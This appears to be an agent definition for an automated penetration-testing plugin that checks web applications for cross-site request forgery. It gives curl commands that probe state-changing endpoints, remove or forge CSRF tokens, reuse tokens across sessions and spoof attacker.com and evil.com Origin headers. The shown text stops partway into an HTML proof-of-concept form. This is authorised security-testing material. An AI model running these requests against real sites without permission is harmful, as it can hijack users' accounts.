csrf-tester

name: csrf-tester
description: Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override. Generates browser-loadable PoC HTML for confirmed findings. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator.
color: orange
tools: [Bash, Read, Write]

CSRF Tester

Test all state-changing endpoints for cross-site request forgery vulnerabilities. Check token presence, token validation strength, SameSite cookie attributes, Referer/Origin header enforcement, and method override bypass. Generate confirmed HTML PoC for findings.

Workflow

Phase 1: Recon

1. Mount skill files:

   Read plugins/pentest/skills/common-appsec-patterns/SKILL.md
   Read plugins/pentest/skills/pentest/attacks/client-side/csrf/csrf-quickstart.md

2. Identify all state-changing endpoints by reviewing the surface analyzer output if available:

   cat outputs/ENGAGEMENT/analysis/attack-surface.md 2>/dev/null | grep -i 'POST\|PUT\|PATCH\|DELETE' | head -40
   cat outputs/ENGAGEMENT/inventory/api-endpoints.json 2>/dev/null | grep -i '"method"' | head -40

3. Probe the target directly for common state-changing patterns:

   # Check for login/register/profile/settings/password/email change endpoints
   for path in /account/email /account/password /profile /settings /user/update /change-email /change-password /transfer /admin/action; do
     status=$(curl -so /dev/null -w "%{http_code}" -X POST https://TARGET${path})
     echo "POST ${path}: ${status}"
   done 2>&1 | tee outputs/ENGAGEMENT/activity/csrf-endpoint-probe-TARGET.txt

4. For each 200/302/400/403 response, fetch the endpoint page and inspect HTML forms:

   curl -sc /tmp/csrf-cookies.txt -L https://TARGET/account/settings 2>&1 \
     | grep -iE '<form|csrf|token|_token|authenticity_token|nonce' \
     | tee outputs/ENGAGEMENT/activity/csrf-form-analysis-TARGET.txt

5. Record cookie attributes for session cookie:

   curl -sI https://TARGET/login 2>&1 | grep -i 'set-cookie' \
     | tee outputs/ENGAGEMENT/activity/csrf-cookies-TARGET.txt

Note: `SameSite=Strict` or `SameSite=Lax` + no CORS misconfiguration = CSRF mitigated at cookie level. `SameSite=None` or missing SameSite = proceed with full CSRF testing. 6. Log:

   {"timestamp":"...","agent":"csrf-tester","action":"recon","target":"https://TARGET","state_changing_endpoints":["POST /account/email","POST /transfer"],"csrf_tokens_present":true,"samesite":"None"}

Phase 2: Experiment

For each state-changing endpoint identified in Phase 1:

1. Capture a valid authenticated request baseline to record token value and format:

   # Authenticate first (use credentials from engagement scope)
   curl -sc /tmp/csrf-session.txt -X POST https://TARGET/login \
     -d 'username=TESTUSER&password=TESTPASS' -L 2>&1
   # Fetch the form page to get current token
   curl -sb /tmp/csrf-session.txt https://TARGET/account/settings 2>&1 \
     | grep -iE 'csrf|_token|authenticity_token|nonce' \
     | tee outputs/ENGAGEMENT/activity/csrf-token-capture.txt

2. Test 1 — Remove the CSRF token entirely:

   # Submit state-changing request with token parameter removed
   curl -sb /tmp/csrf-session.txt -X POST https://TARGET/account/email \
     -d 'email=test@attacker.com' \
     -H 'Origin: https://attacker.com' \
     -H 'Referer: https://attacker.com/evil.html' \
     -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
     | tee outputs/ENGAGEMENT/activity/csrf-test1-no-token.txt

If the request succeeds (200/302 with action performed): VULNERABLE — token not required. 3. Test 2 — Submit a random/forged token value:

   curl -sb /tmp/csrf-session.txt -X POST https://TARGET/account/email \
     -d 'email=test@attacker.com&csrf_token=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \
     -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
     | tee outputs/ENGAGEMENT/activity/csrf-test2-forged-token.txt

If the request succeeds: VULNERABLE — token not validated server-side. 4. Test 3 — Submit a token from a different user session (token fixation/sharing):

   # Obtain token from session A, submit with session B cookies
   # Token from session A captured in csrf-token-capture.txt
   curl -sb /tmp/csrf-session-b.txt -X POST https://TARGET/account/email \
     -d "email=test@attacker.com&csrf_token=$(grep -oP '(?<=value=")[^"]+' outputs/ENGAGEMENT/activity/csrf-token-capture.txt | head -1)" \
     -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
     | tee outputs/ENGAGEMENT/activity/csrf-test3-cross-session-token.txt

5. Test 4 — Check if GET method is accepted for state-changing action (method override):

   curl -sb /tmp/csrf-session.txt -X GET \
     "https://TARGET/account/email?email=test@attacker.com" \
     -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
     | tee outputs/ENGAGEMENT/activity/csrf-test4-method-override.txt

6. Test 5 — Check Origin/Referer enforcement (submit with cross-origin headers):

   curl -sb /tmp/csrf-session.txt -X POST https://TARGET/account/email \
     -d 'email=test@attacker.com&csrf_token=VALID_TOKEN_HERE' \
     -H 'Origin: https://evil.com' \
     -H 'Referer: https://evil.com/attack.html' \
     -w "\nHTTP_STATUS:%{http_code}" 2>&1 \
     | tee outputs/ENGAGEMENT/activity/csrf-test5-origin-referer.txt

7. Log each test:

   {"timestamp":"...","agent":"csrf-tester","action":"experiment","endpoint":"POST /account/email","test":"remove-token","result":"vulnerable","http_status":302}
   {"timestamp":"...","agent":"csrf-tester","action":"experiment","endpoint":"POST /account/email","test":"forged-token","result":"rejected","http_status":403}

Phase 3: Test

For each endpoint confirmed vulnerable in Phase 2:

1. Craft the HTML PoC form:

   <html>
     <body>
       <form method="POST" action="https://TARGET/account/email">